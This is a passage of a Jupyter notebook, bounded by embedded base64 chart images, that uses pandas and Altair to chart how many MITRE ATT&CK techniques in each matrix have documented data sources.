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", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" } ], "source": [ "data_source_distribution = pandas.DataFrame({\n", " 'Techniques': ['Without DS','With DS'],\n", " 'Count of Techniques': [techniques['data_sources'].isna().sum(),techniques['data_sources'].notna().sum()]})\n", "bars = alt.Chart(data_source_distribution).mark_bar().encode(x='Techniques',y='Count of Techniques',color='Techniques').properties(width=200,height=300)\n", "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "What is the distribution of techniques based on ATT&CK Matrix?" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixInd_DStechnique
0mitre-attackWith DS219
1mitre-attackWithout DS4
2mitre-mobile-attackWithout DS81
3mitre-pre-attackWithout DS174
\n", "
" ], "text/plain": [ " matrix Ind_DS technique\n", "0 mitre-attack With DS 219\n", "1 mitre-attack Without DS 4\n", "2 mitre-mobile-attack Without DS 81\n", "3 mitre-pre-attack Without DS 174" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "data = techniques\n", "data['Num_Tech'] = 1\n", "data['Count_DS'] = data['data_sources'].str.len()\n", "data['Ind_DS'] = np.where(data['Count_DS']>0,'With DS','Without DS')\n", "data_2 = data.groupby(['matrix','Ind_DS'])['technique'].count()\n", "data_3 = data_2.to_frame().reset_index()\n", "data_3" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "data": { "name": "data-d2c203a0a2eb41593bfd86bfc71c3d8d" }, "datasets": { "data-d2c203a0a2eb41593bfd86bfc71c3d8d": [ { "Ind_DS": "With DS", "matrix": "mitre-attack", "technique": 219 }, { "Ind_DS": "Without DS", "matrix": "mitre-attack", "technique": 4 }, { "Ind_DS": "Without DS", "matrix": "mitre-mobile-attack", "technique": 81 }, { "Ind_DS": "Without DS", "matrix": "mitre-pre-attack", "technique": 174 } ] }, "encoding": { "color": { "field": "matrix", "type": "nominal" }, "x": { "field": "technique", "type": "quantitative" }, "y": { "field": "Ind_DS", "type": "nominal" } }, "height": 200, "mark": "bar" }, "image/png": "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